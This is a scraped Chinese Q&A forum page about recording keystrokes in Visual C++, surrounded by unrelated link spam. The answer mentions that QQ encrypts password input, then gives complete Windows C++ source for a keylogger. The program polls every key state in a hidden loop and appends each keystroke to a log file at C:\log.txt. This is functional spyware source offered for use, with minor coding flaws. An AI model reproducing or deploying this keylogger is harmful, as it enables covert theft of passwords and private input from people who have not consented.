问答文章1 问答文章501 问答文章1001 问答文章1501 问答文章2001 问答文章2501 问答文章3001 问答文章3501 问答文章4001 问答文章4501 问答文章5001 问答文章5501 问答文章6001 问答文章6501 问答文章7001 问答文章7501 问答文章8001 问答文章8501 问答文章9001 问答文章9501

VC记录键盘问题

发布网友 发布时间:2022-04-23 01:35

我来回答

1个回答

热心网友 时间:2023-07-03 03:09

因为QQ的密码输入进行了加密,所以普通的键盘记录是记录不到QQ密码的。给你段我自己写的键盘记录代码参考参考。#include <windows.h>
#include <fstream>
std::string GetKey(int Key)
{
std::string KeyString = "";
if (Key == 8)
KeyString = "[delete]";
else if (Key == 13)
KeyString = "\n";
else if (Key == 32)
KeyString = " ";
else if (Key == VK_PAUSE)
KeyString = "[PAUSE]";
else if (Key == VK_CAPITAL)
KeyString = "[CAPITAL]";
else if (Key == VK_SHIFT)
KeyString = "[SHIFT]";
else if (Key == VK_TAB)
KeyString = "[TABULATOR]";
else if (Key == VK_CONTROL)
KeyString = "[CTRL]";
else if (Key == VK_ESCAPE)
KeyString = "[ESCAPE]";
else if (Key == VK_END)
KeyString = "[END]";
else if (Key == VK_HOME)
KeyString = "[HOME]";
else if (Key == VK_LEFT)
KeyString = "[left]";
else if (Key == VK_RIGHT)
KeyString = "[right]";
else if (Key == VK_UP)
KeyString = "[UP]";
else if (Key == VK_DOWN)
KeyString = "[DOWN]";
else if (Key == VK_SNAPSHOT)
KeyString = "[SNAPSHOT]";
else if (Key == VK_NUMLOCK)
KeyString = "[NUMLOCK]";
else if (Key == 190 || Key == 110)
KeyString = ".";
else if (Key >=96 && Key <= 105)
KeyString = Key-48;
else if (Key > 47 && Key < 60)
KeyString = Key;
if (Key != VK_LBUTTON || Key != VK_RBUTTON)
{
if (Key > 64 && Key < 91)
{
if (GetKeyState(VK_CAPITAL))
KeyString = Key;
else
{
Key = Key + 32;
KeyString = Key;
}
}
} return KeyString;
}int WINAPI WinMain(
HINSTANCE hInstance, // handle to current instance
HINSTANCE hPrevInstance, // handle to previous instance
LPSTR lpCmdLine, // pointer to command line
int nCmdShow // show state of window
)
{
std::string Filename = "C:\\log.txt";
std::string TempString = "";
std::fstream FStream;
FStream.open(Filename.c_str(), std::fstream::out | std::fstream::app); while(true)
{
Sleep(5);
for(int i = 8; i < 191; i++)
{
if(GetAsyncKeyState(i)&1 ==1)
{
TempString = GetKey (i);
FStream.write(TempString.c_str(), TempString.size());
FStream.close();
FStream.open(Filename.c_str(), std::fstream::out | std::fstream::app);
}
}
}
}
声明声明:本网页内容为用户发布,旨在传播知识,不代表本网认同其观点,若有侵权等问题请及时与本网联系,我们将在第一时间删除处理。E-MAIL:11247931@qq.com
女生多大后可以不在长身高? 如何不用软件把手机投屏到电脑上手机屏幕怎样投放到电脑上 战时拒绝、故意延误军事订货罪既遂的处罚? 战时故意延误军事订货罪处罚标准 名师1+1导读方案:汤姆·索亚历险记目录 三星sm-g7200打开微信慢,无法正常收看,网速不慢。 笔记本电脑如何调亮屏幕亮度 大伙说说洗衣机要不要带烘干好 热烘干洗衣机怎么样 ef英语哪个好 VC++里是怎么实现键盘读取的?? VC捕捉键盘组合键,各位帮忙 vc里的虚拟按键是做什么用的? VC怎么知道键盘对应的数值 VC获得键盘事件的方法。 vc中如何响应键盘和鼠标事件 VC++实现数字小键盘 vc中如何加键盘响应 用VC++从键盘输入10个整数,使用指针完成对输入数据中所有奇数求和得操作,并输出计算结果 vc下如何获取键盘随意按键并返回值 VC模拟键盘输入字母怎么实现 做梦时梦见自己在教室里。满地的水。忽然一个闪电打下来。我站在水中被电了。一下就醒来了。这意味着什么啊 VC++中如何实现软键盘功能 梦见自己床上有水管开了流了屋里一地水? 周公解梦大全查询∴梦见自己碰开水龙头大水哗哗流? 梦见自己水道通了水像洪水流到小河里 梦见我在一间屋子里水龙头开了我拧不上了,水呼呼的喷,待会电闸又起火了,满 解梦:梦见开水龙头忘记关,水流的到处都是! 梦见没了水,我一开水阀就有水了。有什么寓意??? 梦见自己用铁篮子打水一滴不漏,放桌上开电热一下水就干了,弟弟说是被铁吸干的! 如何在VC下实现用键盘控制一个字符上下左右等移动 360和IE浏览器都只能打开一些页面,有些优酷,爱奇艺等页面打开就是什么都没有,白色的 国家二级及以上职业资格证书 vc++如何锁定键盘?求教高手 怎样把360浏览器医生删除,不知道甚么时候多出来的,不想要 VC++怎样获取键盘是哪一个按键 按下了 国家二级以上职业资格证书有哪些 怎么卸载360浏览器医生??? 急!关于VC中的键盘消息 国家二级以上职业资格证书具体是指哪些? 删除了360浏览器医生,后来它怎么又自动出来了,请问有什么办法让360浏览器医生从此不再出现。 vc下如何获取键盘任意按键并返回值 国家承认的二级资格证书 有哪些? 360浏览医生怎么删除! VC中如何获得用户键入的键盘值 什么是国家二级职业资格证书(技师) 1打开360浏览器后,会弹出浏览器医生一键修复的窗口,一直关不掉。 IT相关,国家二级以上职业资格证书有哪些? 职业资格证书分多少等级? 打开360浏览器后,会弹出浏览器医生一键修复的窗口,一直关不掉